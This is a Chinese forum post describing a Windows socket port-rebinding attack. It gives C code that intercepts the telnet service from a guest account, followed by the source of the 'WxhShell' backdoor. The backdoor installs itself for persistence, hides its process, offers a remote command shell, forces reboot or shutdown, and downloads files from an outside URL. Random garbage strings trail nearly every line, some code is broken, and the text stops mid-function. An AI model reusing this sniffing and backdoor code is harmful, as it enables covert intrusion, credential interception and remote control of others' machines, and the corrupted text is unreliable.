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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 54geU?p0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ns/L./z  
$RJpn]d j  
  saddr.sin_family = AF_INET; ? 016  
N%K%0o-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s<;kTReA  
MNzWTn@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <dAD-2O+  
q/N1q&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /A{/  
6k%Lc4W  
  这意味着什么?意味着可以进行如下的攻击: }vGW lNd#g  
%=t8   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4#c-?mh_  
1p%75VW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vr1yj  
r: :LQ$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,^#{k!uaC{  
(tLAJ_v!.K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )kl(}.9X  
sBuOKT/j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tXWh q  
*53@%9 {u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /ivA[LSS  
"N\tR[P!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o(5eb;"yi>  
y))) {X  
  #include BWHH:cX  
  #include TTSyDl  
  #include 1[&V6=n  
  #include    $QB~ x{v@n  
  DWORD WINAPI ClientThread(LPVOID lpParam);    `[=3_  
  int main() +YA,HhX9  
  { zP(UaSXz/  
  WORD wVersionRequested; F4|Z:e,Hr  
  DWORD ret; v.~uJ.T  
  WSADATA wsaData; j$u=7Z&E  
  BOOL val; 6bXP{,}Gp  
  SOCKADDR_IN saddr; TjswB#  
  SOCKADDR_IN scaddr; n(}zq  
  int err; XX:?7:j}[8  
  SOCKET s; *Mg. * N  
  SOCKET sc; [Jjb<6[o  
  int caddsize; ;94e   
  HANDLE mt; )A 6 eD  
  DWORD tid;   |8:IH@K*  
  wVersionRequested = MAKEWORD( 2, 2 ); |'R^\M Q  
  err = WSAStartup( wVersionRequested, &wsaData ); 6|O2i j-J  
  if ( err != 0 ) { MMYV8;c  
  printf("error!WSAStartup failed!\n"); #XaTUT  
  return -1; w '<8l w  
  } $0OWPC1  
  saddr.sin_family = AF_INET; ER ^#J**  
   X-$\DXRIo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M ~uX!bDH  
6L)]nE0^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jwe^(U  
  saddr.sin_port = htons(23); P t)Ni  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8>KBh)q  
  { bx5f\)  
  printf("error!socket failed!\n"); 3r[}'ba\  
  return -1; NPFrn[M$  
  } R;{y]1u  
  val = TRUE; r-,P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j18qY4Gw)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I5$@1+B  
  { >n^| eAH  
  printf("error!setsockopt failed!\n"); ;Wws;.~  
  return -1; F.%g_Xvk:  
  } >Wbt_%dKy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l1utk8'-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s:fy *6=[Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MBO3y&\S4  
> kLUQ%zE@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Gop;!aV1*  
  { j=Co  
  ret=GetLastError(); < SIe5" {  
  printf("error!bind failed!\n"); !|1GraiS  
  return -1; s?JNc4q  
  } }z$_=v  
  listen(s,2); [It E+{U  
  while(1) @/w ($w"  
  { f'2Ufd|J|  
  caddsize = sizeof(scaddr); _W3>Km-A=/  
  //接受连接请求 -ST[!W V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;Az9p h  
  if(sc!=INVALID_SOCKET) j1yW{  
  { tsLi5;KA]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _^;;vR%   
  if(mt==NULL) Ca?:x tt  
  { Pl>S1  
  printf("Thread Creat Failed!\n"); t5qNfiKC  
  break; %nmD>QCe  
  } 6]/LrM,23  
  } QQB\$[M!Z  
  CloseHandle(mt); t.7KS:  
  } heAbxs  
  closesocket(s); ,xJ1\_GI`  
  WSACleanup(); ~ e4Pj`?=K  
  return 0; Jp0*Y-*Y  
  }   giDe  
  DWORD WINAPI ClientThread(LPVOID lpParam) n&`=.[+A  
  { ^F*G  
  SOCKET ss = (SOCKET)lpParam; h5x_Vjj  
  SOCKET sc; #:Tb(R   
  unsigned char buf[4096]; G/w&yd4  
  SOCKADDR_IN saddr; Q|O! cEW/  
  long num; 9qHbV 9,M  
  DWORD val; [KT'aGK$  
  DWORD ret; "8'aZ.P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %s^2m"ca}=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~; emUU  
  saddr.sin_family = AF_INET; \R6D'Yt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8w:A""  
  saddr.sin_port = htons(23); R43yr+p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^hpdre"  
  { aQzu[N  
  printf("error!socket failed!\n"); L*rND15  
  return -1; }! jk  
  } <Ag`pZ<s  
  val = 100; N<e=!LV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '\&t3?;  
  { e)Be*J]4  
  ret = GetLastError(); " ^t3VjN  
  return -1; u+&t"B  
  } -UHa;W H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }i"\?M  
  { S#kA$yO  
  ret = GetLastError(); 4490l"  
  return -1; :#?Z)oQpT  
  } z/B[quSio  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aQMUC6cPM@  
  { K!JXsdHK  
  printf("error!socket connect failed!\n"); J`&*r;""V  
  closesocket(sc); 3XCePA5z  
  closesocket(ss); (zVT{!z  
  return -1; Ic%c%U=i  
  } 2=&4@c|cn  
  while(1) -*Voui  
  { SnK#YQCDt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C6$F.v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aCq ) hR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |6M:JI8  
  num = recv(ss,buf,4096,0); <3[,bTIk  
  if(num>0) Y [hTO.LF  
  send(sc,buf,num,0); ?!h jI;_&  
  else if(num==0) 0 e}N{,&Y  
  break; x*Lm{c5+  
  num = recv(sc,buf,4096,0); -2{NIF^H  
  if(num>0) ^1#"FU2cP  
  send(ss,buf,num,0); Qh4<HQ<9  
  else if(num==0) O% 1X[  
  break; 6 J&_H(^  
  } ^""Ss  
  closesocket(ss); )2Ru} -H  
  closesocket(sc); N^)\+*tf1  
  return 0 ; d)_fI*:f  
  } BrWo/1b  
XM9}ax  
oi@hZniP?  
========================================================== !)Y T_ib  
O}Ipg[h  
下边附上一个代码,,WXhSHELL r#% e$  
dB{VY+!  
========================================================== {0&'XA=j  
S? -6hGA j  
#include "stdafx.h" )L)jvCw,e  
TqvgCk-  
#include <stdio.h> f1hjU~nJ  
#include <string.h> x&ngCB@O  
#include <windows.h> pj~Ao+  
#include <winsock2.h> +"u6+[E  
#include <winsvc.h> aBBTcN%'  
#include <urlmon.h> }mZ sK>  
`t@Rh~B  
#pragma comment (lib, "Ws2_32.lib") Pjs L{,  
#pragma comment (lib, "urlmon.lib") :o)4Y  
l,I[r$TCf  
#define MAX_USER   100 // 最大客户端连接数 p\"WX  
#define BUF_SOCK   200 // sock buffer lURL;h  
#define KEY_BUFF   255 // 输入 buffer 6X2~30pdE  
s.9)? < [  
#define REBOOT     0   // 重启 sQ4~oZZ  
#define SHUTDOWN   1   // 关机 )IFzal}o  
,#NH]T`c1  
#define DEF_PORT   5000 // 监听端口 C78V/{  
*dTI4k  
#define REG_LEN     16   // 注册表键长度 o7qZy |\4S  
#define SVC_LEN     80   // NT服务名长度 ai3wSUYJi  
TQor-Cymz  
// 从dll定义API W)RCo}f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vy- kogVt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CDNh9`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p$qpC$F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c{qoASc?  
x#-+//  
// wxhshell配置信息 vE}>PEfA  
struct WSCFG { a*qf\ &Vb|  
  int ws_port;         // 监听端口 Hn- k*Y/P  
  char ws_passstr[REG_LEN]; // 口令 SR+<v=i  
  int ws_autoins;       // 安装标记, 1=yes 0=no X; ~3 U 9  
  char ws_regname[REG_LEN]; // 注册表键名 y<Z-f.  
  char ws_svcname[REG_LEN]; // 服务名 rJ@yOed["b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H{XD>q.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D^G5$h i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l6[0i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NoR=:Q 9e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~h:/9q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2I8 RO\zR  
;RmL'  
}; R*DQm  
3U_,4qf  
// default Wxhshell configuration c`F~vrr)X  
struct WSCFG wscfg={DEF_PORT, 2l8TX#K  
    "xuhuanlingzhe", 3 ;N+5*-  
    1, p^E}%0#  
    "Wxhshell", T%opkyP>=  
    "Wxhshell", 6v]y\+  
            "WxhShell Service", )|Ho"VEmg  
    "Wrsky Windows CmdShell Service", 5Tb3Yy< .  
    "Please Input Your Password: ", 53i7:1[uV  
  1, r8k.I4  
  "http://www.wrsky.com/wxhshell.exe", qv+8wJ((  
  "Wxhshell.exe" Q#,j,h  
    }; "#3p=}]  
"EE=j$8u+  
// 消息定义模块 wG, "ZN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'K"7Tex  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jRCf!RO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tH}$j  
char *msg_ws_ext="\n\rExit."; 8|*=p4_fn  
char *msg_ws_end="\n\rQuit."; !,I530eh7  
char *msg_ws_boot="\n\rReboot..."; aDae0$lc.S  
char *msg_ws_poff="\n\rShutdown..."; 2E*k@  
char *msg_ws_down="\n\rSave to "; GWQ_X9+q  
ftw@nQNU  
char *msg_ws_err="\n\rErr!"; #?V7kds]  
char *msg_ws_ok="\n\rOK!"; aCwb[7N  
hv6w=?7  
char ExeFile[MAX_PATH]; ",pN.<F9O  
int nUser = 0; 0Xke26ga  
HANDLE handles[MAX_USER]; )(aj  
int OsIsNt; Zl:Z31  
}gfs  
SERVICE_STATUS       serviceStatus; +RuPfw{z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y5v}EX`m&  
MgP6ki1z  
// 函数声明 w<4,;FFlZ/  
int Install(void); Gx$rk<;ZW  
int Uninstall(void); oD0N<Ln}  
int DownloadFile(char *sURL, SOCKET wsh); #U=}Pv~wM  
int Boot(int flag); '(qVA>S  
void HideProc(void); :kaHvf  
int GetOsVer(void); Py3Y*YP  
int Wxhshell(SOCKET wsl); 0VA$ Ige  
void TalkWithClient(void *cs); 4;_<CB  
int CmdShell(SOCKET sock); o|FY-+  
int StartFromService(void); h|DKD.  
int StartWxhshell(LPSTR lpCmdLine); RyJN=;5p  
PN +<C7/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?11\@d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gOE3x^X*{  
qXb{A*J  
// 数据结构和表定义 xIrRFK9[Q  
SERVICE_TABLE_ENTRY DispatchTable[] = 8%Wg;:DZx  
{ ;`TSu5/  
{wscfg.ws_svcname, NTServiceMain}, ,J (+%#$UT  
{NULL, NULL} cl4Vi%   
}; VgoN=S  
TsX(=N_  
// 自我安装 3=SN;cn  
int Install(void) "]"!"#aMv  
{ hlgBx~S[  
  char svExeFile[MAX_PATH]; |PI]v`[  
  HKEY key; z ]d^%>Ef  
  strcpy(svExeFile,ExeFile); }`SXUM_sD`  
UB4M=R|  
// 如果是win9x系统,修改注册表设为自启动 z@_ 9.n]  
if(!OsIsNt) { #]BpTpRAe<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?]d [K>bv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @t;WdbxB%  
  RegCloseKey(key); xz#.3|_('  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Yuy%VT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /j{`hi  
  RegCloseKey(key); S!/N lSr<  
  return 0; &)8-iO  
    } Gm]]Z_  
  } @`</Z)  
} oQkY@)3.w  
else { #kuk3}&  
<MPoDf?h  
// 如果是NT以上系统,安装为系统服务 )bM #s">Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @rTAbEk{U  
if (schSCManager!=0) @\!9dK-W  
{ )k@+8Yfa1p  
  SC_HANDLE schService = CreateService Sb9In_* 0  
  ( iTt#%Fs)4M  
  schSCManager, e^Ds|}{V  
  wscfg.ws_svcname, r RfPq  
  wscfg.ws_svcdisp, u_5O<UP5  
  SERVICE_ALL_ACCESS, xyoh B#'W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zeXMi:X  
  SERVICE_AUTO_START, [\j@_YYd  
  SERVICE_ERROR_NORMAL, Tath9wlv6;  
  svExeFile, 7= o2$  
  NULL, 4/Vy@h"A3  
  NULL, 6Wos6_  
  NULL, \n @S.Y?P  
  NULL, K-xmLEu  
  NULL iz2I4 _N  
  ); Ozygr?*X  
  if (schService!=0) 4E Hb  
  { NjTVinz  
  CloseServiceHandle(schService); sH^?v0^a  
  CloseServiceHandle(schSCManager); h-XMr_F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Qoj>Wy{  
  strcat(svExeFile,wscfg.ws_svcname); A0NNB%4|/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tGKIJ`w*h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~~.v*C[  
  RegCloseKey(key); C~2/ 5  
  return 0; YzcuS/~x  
    } AX|-Gv  
  } R|Oy/RGY$  
  CloseServiceHandle(schSCManager); (okCZ-_Jn  
} MuQBn7F{c  
} E0nR Vg  
8Ee bWs*1  
return 1; 6zQ {Y"0  
} cI)XXb4  
A2` QlhZ  
// 自我卸载 W~1/vJ.*l  
int Uninstall(void) m_%1I J  
{ $RQ7rL3g{  
  HKEY key; &h7q=-XU   
`0r=ND5.  
if(!OsIsNt) { X^tVq..0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `.# l_-U{  
  RegDeleteValue(key,wscfg.ws_regname); @G vDl=.  
  RegCloseKey(key); ?kICYtY:_b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pai>6p  
  RegDeleteValue(key,wscfg.ws_regname); ." m6zq  
  RegCloseKey(key); W#<&(s4  
  return 0; `ag7xd!  
  } 23/!k}G"  
} vT<q zN  
} 5XNIX)H  
else { /`iBv8!  
TA47lz q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x M1>kbo|  
if (schSCManager!=0) tQ7DdVdix  
{ lu^ c^p;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {&Kq/sRz  
  if (schService!=0) 5 zlgmCGow  
  { {cF7h)j  
  if(DeleteService(schService)!=0) { i<g|+}I  
  CloseServiceHandle(schService); Fj9/@pe1  
  CloseServiceHandle(schSCManager); _tR%7%3*  
  return 0; U.oxLbJ`  
  } Ejdw"P"  
  CloseServiceHandle(schService); >G2o  
  } '3>kDH+  
  CloseServiceHandle(schSCManager); 1#AdEd[  
} _nR8L`l*z  
} s,TKC67.%+  
5/Ng!bW  
return 1; PXGS5,  
} ]McLace&  
k]<  
// 从指定url下载文件 gmfux b/  
int DownloadFile(char *sURL, SOCKET wsh) \s2hep  
{ =2#a@D6Bl  
  HRESULT hr; i0uBb%GMT  
char seps[]= "/"; u93=>S  
char *token; TB] %?L:  
char *file; lrjlkgSN  
char myURL[MAX_PATH]; ,P^pDrc  
char myFILE[MAX_PATH];  Z*d8b  
'sJ=h0d_[V  
strcpy(myURL,sURL); <^,w,A  
  token=strtok(myURL,seps); 2}u hPW+  
  while(token!=NULL) Fzk  
  { Y[gj2vNe4g  
    file=token; c'_-jdi`>_  
  token=strtok(NULL,seps); f>JuxX\G  
  } pN<wO1\9  
lgZ3=h  
GetCurrentDirectory(MAX_PATH,myFILE); )5lo^Qb  
strcat(myFILE, "\\"); b=a&!r5M  
strcat(myFILE, file); r)<]W@ Pr  
  send(wsh,myFILE,strlen(myFILE),0); :Ia3yi#  
send(wsh,"...",3,0); rE"`q1b#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c,KT1me  
  if(hr==S_OK) YzU(U_g$  
return 0; ;YxQo o >  
else v*5n$UFV  
return 1; W|@EKE.k  
(US]e un  
} sk!v!^\_r  
Wy%q9x]}  
// 系统电源模块 QP|Ou*Qm)  
int Boot(int flag) =+q9R`!L]  
{ zIWw055W  
  HANDLE hToken; SsDz>PP  
  TOKEN_PRIVILEGES tkp; RqW ZhHI1M  
Q7$ILW-S  
  if(OsIsNt) { N<+ ><>9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %4U;Rdq&Ud  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vm)&WEL!  
    tkp.PrivilegeCount = 1; ?eT^gWX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]#N2:ych  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2%N$Y]  
if(flag==REBOOT) { nBL7LocvR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~C< X~$y&  
  return 0; {*H&NI  
} Pze$QBNoRd  
else { CU 2;m\Hc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >2`)S{pBD  
  return 0; JwbC3 t):@  
} xA]CtB*o7  
  } <CJua1l\  
  else { gF1q Z=<  
if(flag==REBOOT) { vpx8GiV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AwB ]0H  
  return 0; !o 2" th  
} .Vux~A  
else { Ev IL[\Dy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !8vHN=)z  
  return 0; ys:1%D,,_  
} `pzp(\lc  
} e0"R7a  
tfj6#{M5  
return 1; i$)bZr\  
} UiA\J  
 ~%_$e/T  
// win9x进程隐藏模块 h@FDP#H  
void HideProc(void) 6 k+FTDL  
{ HDYr?t~V  
CfQOG7e@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ./mh 9ax  
  if ( hKernel != NULL ) bT}P":*y  
  { CQ2{5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5+b[-Daz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X>2_G ol!  
    FreeLibrary(hKernel); B;[{7J]  
  } ?ltTJ(Po  
0 V*Di2  
return; ~WU _u,:  
} U?JZ23>bbw  
>- ]tOH,0  
// 获取操作系统版本 kVw5z3]Xg  
int GetOsVer(void) KgX~PP>  
{ *}Zd QJL  
  OSVERSIONINFO winfo; cBM A.'uIL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y$!K<c k  
  GetVersionEx(&winfo); :L&Bbw(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E"bYl3  
  return 1; rOw""mE  
  else !HL7a]PB  
  return 0; szMh}q"u  
} LYNd^}  
:U)q(.53  
// 客户端句柄模块 \%=\_"^?  
int Wxhshell(SOCKET wsl) R!;tF|]  
{ K>6#MI  
  SOCKET wsh; {&8-OoH ~  
  struct sockaddr_in client; esx<feP)\  
  DWORD myID; eX7Ev'(H  
jI(~\`  
  while(nUser<MAX_USER) br+{23&1R#  
{ 'YQ"Lf  
  int nSize=sizeof(client); {NXc<0a(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6ND,4'6  
  if(wsh==INVALID_SOCKET) return 1; 9kL'"0c  
Ra<mdteZT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9r@r\-  
if(handles[nUser]==0) :pcKww|V  
  closesocket(wsh); /E$"\md  
else aiGT!2  
  nUser++; [c]X) @#S  
  } JLm0[1Lzd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OEy'8O$  
lBh|+K N  
  return 0; vC[)/w  
} #sdW3m_%  
FiJJe  
// 关闭 socket :.f =>s]  
void CloseIt(SOCKET wsh) pa Uh+"y>  
{ F.ryeOJ  
closesocket(wsh); PcC9)x  
nUser--; p>h B&h  
ExitThread(0); 2<)63[YO  
} Fh9`8  
xz[a3In+  
// 客户端请求句柄 PmyS6a@  
void TalkWithClient(void *cs) ]h~=lItTRZ  
{ :q S=_!1  
bVSa}&*kM  
  SOCKET wsh=(SOCKET)cs; x0@J~ _0  
  char pwd[SVC_LEN]; ZdeRLX  
  char cmd[KEY_BUFF]; j':Ybr>BR  
char chr[1]; S*Un$ngAh  
int i,j; yd[}?  
D{I^_~-\5  
  while (nUser < MAX_USER) { lidzs<W-fW  
xekW-=#a7-  
if(wscfg.ws_passstr) { S:/;|Dg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }MW*xtGV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [tym~ZZ]_m  
  //ZeroMemory(pwd,KEY_BUFF); OJ\IdUZ   
      i=0; B2:6=8<  
  while(i<SVC_LEN) { 1U.se` L  
0vNEl3f'O  
  // 设置超时 96T.xT>&  
  fd_set FdRead; HE(|x 1C)j  
  struct timeval TimeOut; dN\Byl(6  
  FD_ZERO(&FdRead); P;bl+a'gu  
  FD_SET(wsh,&FdRead); Mz# &"WjF  
  TimeOut.tv_sec=8; |lOxRUf~  
  TimeOut.tv_usec=0; D oX!P|*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p;`jmF   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z8{ kwz  
.x5Y fe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )dgXS//Y  
  pwd=chr[0]; F2]v]]F!  
  if(chr[0]==0xd || chr[0]==0xa) { Z0g3> iItM  
  pwd=0; vg"y$%  
  break; Re-~C[zwT  
  } D% } ?l  
  i++; fs+l  
    } ;E>5<[aa  
Wk"4mq  
  // 如果是非法用户,关闭 socket -;&aU;k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eU 'DQp*  
} (g xCP3  
L22GOa0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2ikY.Xi6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ks . m5R  
z OD5a=[1  
while(1) { e^Q$Tog<  
\?7)oFNz  
  ZeroMemory(cmd,KEY_BUFF); _+YCwg  
#\KSv Z  
      // 自动支持客户端 telnet标准    hX?L/yf  
  j=0; Y~EKMowI&e  
  while(j<KEY_BUFF) { a5ZU"6Hi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x4fl=  
  cmd[j]=chr[0]; l:mC'aR  
  if(chr[0]==0xa || chr[0]==0xd) { (G $nN*rlu  
  cmd[j]=0; H7n5k,  
  break; 6I GUp  
  } 8aZuI|z  
  j++; __r]@hY   
    } Ac;rMwXk#  
;> **+ezF  
  // 下载文件 fH~InDT^  
  if(strstr(cmd,"http://")) { )j(13faW|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2:'C|  
  if(DownloadFile(cmd,wsh)) }[XzM /t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yzr>]"o  
  else sKYb&2 wJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s2A3.SN  
  } |P7c {  
  else { 48dIh\TH"  
!c-Ie~GIT  
    switch(cmd[0]) { D|m6gP;P  
  hV|pH)Nu{  
  // 帮助 Bv_C *vW  
  case '?': { Q<W9<&VZe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jv1igA21_h  
    break; ?Q1(L$-=  
  } g.OBh_j-v  
  // 安装 %Z~, F?  
  case 'i': { cnr&%-  
    if(Install()) YfL|FsCh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OE)n4X  
    else `3+yu' Q'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fgq"d7`9@  
    break; Su`LBz"  
    } vRa|lGeW  
  // 卸载 *n mr4Q'v{  
  case 'r': { csE 9Ns  
    if(Uninstall()) 7NC"}JB&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .|Y2'TWQ  
    else 'W>Bz,M6yo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Axk-c  
    break; amq]&.M  
    } |S48xsFvq  
  // 显示 wxhshell 所在路径 eUlF4l<]  
  case 'p': { w"d~R   
    char svExeFile[MAX_PATH]; YBn"9w\#  
    strcpy(svExeFile,"\n\r"); #- $?2?2  
      strcat(svExeFile,ExeFile); h- .V[]<  
        send(wsh,svExeFile,strlen(svExeFile),0); hR,VE'A  
    break; a@`15O:  
    } ?8[,0l:|  
  // 重启 jqq96hP,  
  case 'b': { v#*9rNEj0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '9^+J7iO(+  
    if(Boot(REBOOT)) m[ *)sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )W9W8>Cc5_  
    else { z{:T~s  
    closesocket(wsh); K3*8JF7_F  
    ExitThread(0); ?"f\"N  
    } {^>dQ+Sx7  
    break; OAPR wOQ^=  
    } ,l`4)@{G  
  // 关机 z%cq%P8g  
  case 'd': { = Q|_v}  
